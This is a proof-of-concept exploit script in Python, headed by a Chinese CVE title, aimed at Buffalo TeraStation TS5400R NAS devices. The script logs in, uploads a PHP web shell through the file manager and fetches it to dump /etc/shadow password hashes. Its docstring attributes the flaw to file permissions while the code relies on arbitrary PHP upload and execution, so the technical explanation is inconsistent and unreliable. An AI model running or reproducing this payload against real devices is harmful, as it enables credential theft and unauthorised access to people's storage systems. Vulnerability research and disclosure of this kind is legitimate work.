CVE-2026-29516 Buffalo TeraStation NAS 过度文件权限信息泄露漏洞

import requests import sys # CVE-2026-29516 PoC - Buffalo TeraStation NAS Information Disclosure # Target: Buffalo TeraStation NAS TS5400R firmware <= 4.02-0.06 TARGET = "http://target-ip" # Replace with target IP USERNAME = "admin" # Replace with valid credentials PASSWORD = "password" # Replace with valid password def exploit(): """ This PoC demonstrates the excessive file permissions vulnerability in Buffalo TeraStation NAS TS5400R. The /etc/shadow file has world-readable permissions, allowing authenticated users to read password hashes. """ session = requests.Session() # Step 1: Login to the NAS web interface login_url = f"{TARGET}/cgi-bin/cgi?func=login" login_data = { "username": USERNAME, "password": PASSWORD } try: response = session.post(login_url, data=login_data, timeout=30) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Upload malicious PHP file through file manager upload_url = f"{TARGET}/cgi-bin/file-manager" php_payload = "<?php echo file_get_contents('/etc/shadow'); ?>" files = { 'file': ('exploit.php', php_payload, 'application/x-php') } response = session.post(upload_url, files=files, timeout=30) print("[+] PHP file uploaded") # Step 3: Execute the uploaded PHP file exec_url = f"{TARGET}/shared/exploit.php" response = session.get(exec_url, timeout=30) if response.status_code == 200 and 'root:' in response.text: print("[+] Successfully retrieved /etc/shadow contents") print("=" * 50) print(response.text) print("=" * 50) return True else: print("[-] Failed to retrieve shadow file") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": print("CVE-2026-29516 PoC - Buffalo TeraStation NAS") print("Target: " + TARGET) exploit()